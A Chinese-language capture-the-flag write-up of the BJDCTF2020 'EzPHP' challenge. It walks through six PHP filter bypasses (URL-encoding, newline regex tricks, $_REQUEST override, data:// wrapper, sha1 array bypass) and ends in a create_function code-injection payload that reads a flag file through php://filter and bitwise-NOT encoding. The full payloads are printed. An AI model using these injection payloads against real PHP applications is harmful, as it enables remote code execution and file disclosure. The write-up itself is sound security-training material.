[BJDCTF2020]EzPHP

这一道题里面的知识点实在是太多了,即使这道题是我最喜欢的RCE也有点大脑停转了,所以还是做个笔记,以后方便回忆

直接跳过打点,来到源码

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

短短51行代码居然有六层过滤,也是阴的没边,这次的payload至今为止也是鼠鼠手打过最长的

第一层
复制代码
if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

首先看第一块,这里是正则匹配的过滤,但是注意到(注意力惊人)这里用的是$_SERVER

众所周知,get传参的时候会对get传的参数进行url解码,但是$_SERVER['QUERY_STRING']却不会。

所以说对于第一层过滤的所有字母和字符,都可以用url编码进行绕过。

第二层
复制代码
if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

这里就很简单了,传入debu=aque_is_cute的url编码格式绕过前面第一个过滤

%64ebu=%61qua_is_%63ute%0a这里我只部分进行了编码,至于file参数等下再说

但是这里我们发现又触发了第三层的过滤

第三层
复制代码
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}

这里说他讨厌英语,传的参数值不能有英文的26个字母,但是我们又注意到这里是$_REQUEST传参,所以可以绕过

$_REQUEST传参时同时接收GET和POST的传参,但POST拥有更高的优先级,所以只需要POST相同的参数即可绕过。

复制代码
%64ebu=%61qua_is_%63ute%0a

debu=1

我们继续往下看,来到第四层

第四层
复制代码
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里我们要让file的值等于debu_debu_aqua,所以这里要用到data伪协议,当然也是要和上面一样绕过第二层和第三层的过滤

复制代码
file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0a

debu=1&file=1
第五层
复制代码
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里是简单的sha1绕过MD5和sha1绕过方式总结正好今天下午刚看过

这里用到的是数组绕过,注意url编码就好

复制代码
?file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&

debu=1&file=1
第六层
复制代码
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

这里是最核心的一层,也是我拼尽全力无法战胜的一层,所以去看了wp才恍然大悟

首先这里有两个参数$code$arg可控,可以利用$code('', $arg); 注入。

这里介绍一个函数:

PHP 中的 create_function($args, $code) 会创建一个匿名函数,举个例子:

比如我们传:

复制代码
flag[code]=create_function
flag[arg]=}eval($_POST[cmd]);//

那么代码就变成:

复制代码
$code = create_function;
$arg = '}eval($_POST[cmd]);//';

$code('', $arg);  // => create_function('', '}eval($_POST[cmd]);//');

这个返回的函数等价于

复制代码
function($a, $b) {
  }eval($_POST[cmd]);//
}

了解了原理,接下来我们来构造payload,因为过滤实在太多,所以我们先用:

复制代码
flag[arg]=}var_dump(get_defined_vars());// 
flag[code]=create_function

来试一试,注意这里要用}提前闭合函数体

这样就得到了许多的变量键值,我就不贴上来了,最后有一个

"Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"}

这里可以利用require(),来代替include()

复制代码
require(php://filter/read=convert.base64- encode/resource=rea1fl4g.php);//

但是过滤的限制太多了,所以我们对其进行base64编码

复制代码
%66%6c%61%67[%61%72%67]=};require(%62%61%73%65%36%34_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

debu=1&file=1

但是这里只得到了假的flag,这里我查了很多资料,但是都只是提到了要用取反来读flag,没有人提这里仅仅进行URL编码不能读取到flag的问题。在我把这道题的源码全部读了一遍后,我猜测问题大概是出在unset()函数这里

unset函数本来是用来销毁变量的,这里让$realflag执行unset,本意是为了避免我们用上面的方法直接get_difined_vars直接读取flag,却影响了文件包含读取flag内容,所以这里要用到取反编码进行读取,后面我会写一遍关于unset函数的文章来详细解释

最终payload:

复制代码
// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flag[code]=create_function

?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function

// POST
debu=1&file=1

得到base64源码解码后得到flag

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行5 天前
网络安全总结
安全·web安全
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php